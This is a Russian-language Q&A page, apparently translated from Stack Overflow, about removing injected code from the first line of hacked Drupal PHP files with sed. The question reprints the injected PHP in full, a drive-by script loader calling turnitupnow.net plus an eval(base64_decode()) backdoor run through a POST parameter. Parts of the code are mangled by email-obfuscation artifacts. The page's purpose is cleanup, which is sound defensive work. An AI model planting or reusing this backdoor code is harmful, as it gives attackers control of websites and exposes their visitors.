Sed, заменить первую строку
Меня взломали, запустив действительно устаревшую установку Drupal (стыдно за меня)
Кажется, в каждом файле .php
было введено следующее:
<?php global $sessdt_o; if(!$sessdt_o) {
$sessdt_o = 1; $sessdt_k = "lb11";
if([email protected]$_COOKIE[$sessdt_k]) {
$sessdt_f = "102";
if([email protected]_sent()) { @setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
}
else {
if($_COOKIE[$sessdt_k]=="102") {
$sessdt_f = (rand(1000,9000)+1);
if([email protected]_sent()) {
@setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
sessdt_j = @$_SERVER["HTTP_HOST"][email protected]$_SERVER["REQUEST_URI"];
$sessdt_v = urlencode(strrev($sessdt_j));
$sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200);
echo "<script src='$sessdt_u'></script>";
echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--";
}
}
$sessdt_p = "showimg";
if(isset($_POST[$sessdt_p])){
eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
exit;
}
}
Можно ли удалить и заменить его на sed
? например:.
find . -name *.php | xargs ...
Я надеюсь, что сайт работает только на время, чтобы использовать wget и сделал статическую копию.
Ответы
Ответ 1
Вы можете использовать sed
с чем-то вроде
sed '1 s/^.*$/<?php/'
Часть 1
заменяет только первую строку. Затем, благодаря команде s
, она заменяет всю строку на <?php
.
Чтобы изменить ваши файлы на месте, используйте параметр -i
для GNU sed
.
Ответ 2
Чтобы заменить первую строку файла, вы можете использовать команду c
(для "изменения" ) sed
:
sed '1c<?php'
который преобразуется в: "в строке 1, замените пространство рисунка на <?php
".
Для этой конкретной проблемы, однако, что-то вроде этого, вероятно, будет работать:
sed '1,/^$/c<?php'
который гласит: измените диапазон "строка 1 на первую пустую строку" на <?php
, заменив все введенный код.
(Вторая часть адреса (регулярное выражение /^$/
) должна быть заменена выражением, которое фактически ограничивает введенный код, если это не пустая строка.)